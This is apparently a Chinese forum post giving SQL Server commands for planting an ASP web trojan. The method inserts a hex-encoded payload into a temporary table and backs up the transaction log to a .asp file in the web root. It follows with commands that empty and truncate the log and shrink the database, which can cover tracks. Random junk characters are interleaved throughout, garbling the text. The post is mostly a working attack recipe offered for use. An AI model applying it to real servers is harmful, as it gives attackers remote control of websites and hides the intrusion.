select * from master.dbo.sysdatabases 列出所有列的记录5 x( H3 q% n* y @* N2 f
$ ~0 x9 o0 [5 [% z2 Fselect name from master.dbo.sysdatabases 仅列出name列的记录
7 }9 x0 f3 T" m! q; \* U: h n- G3 s0 @% P+ D
注意:可以利用log和数据库备份两上都行,log备份不成功用数据库备份: j7 {' }+ p0 \+ U y( Y( O9 b
a i O5 g$ ?, o: }. K" f
alter database 数据库名 set RECOVERY FULL--, }" |. i6 ]& z E0 r
: B/ e+ D! E& e8 X+ g( @4 ocreate table cmd (a image)-- \**cmd是创建的临时表
1 F8 U' t& B& ~- S. u4 n+ O3 f( P9 ~* n* t8 {6 O6 O" B+ M
backup log 数据库名 to disk = 'f:\wwwroot\1.asp' with init--( D: l t% x! X7 W4 |0 `
8 a6 e/ n, Q. y& Y6 F, Yinsert into cmd(a) values (0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)--& c: L* L+ y4 D+ l
( G8 [# x' k! K% r, N* u% B! I# `! S
//木马存放路径(转换16进制0x130a0d0a替换原来0x最后添加0d0a要多加几个)
5 n( ^; M4 Q* r$ x$ Z' {, y- ~+ N& D
backup log 数据库名 to disk = 'f:\wwwroot\1.asp'-- (要备份的目录)
# }; y8 n! f4 K- h, n- X% J- H% ^2 c% @$ l* l
drop table cmd--
6 p4 I; _4 o7 {2 \& _5 o" E2 V) f: O, b2 S/ p! Q9 ^/ @
3 `) i* e2 c5 {7 Y
f:\- ?' V( o5 t m+ ]6 T1 v
16进制转换(0x130a0d0a663A5CCDF8D5BE5CCDF8CDA8C6F3D2B5425C626C75656B6973735C7765625C312E6173700d0a)4 \) i& q# E7 W- {
9 V8 _/ c" V8 u$ R最好多加几个回车0d0a,要不会出错哈
4 a! U! }. C2 v* y7 ], Q+ a) s4 q- T# V* e) z
9 v8 Q9 D1 f! V5 N3 v
SQL Server日志清空方法
" y# B* ~( C6 } A& F6 C+ \0 w& w# W+ |
在查询分析器中顺序执行以下三步,其中 databasename 为你的数据库文件名
. m' f: x' O5 \& n1.清空日志:DUMP TRANSACTION databasename WITH NO_LOG
/ }0 R! H0 A+ S! U4 {- u' s2 o" U/ h1 x" D
2.截断事务日志:BACKUP LOG databasename WITH NO_LOG
4 I6 X) C6 G+ I& v. y$ R1 V# c8 E4 O
3.收缩数据库:DBCC SHRINKDATABASE(databasename) ' a' c' k. H# r. R
|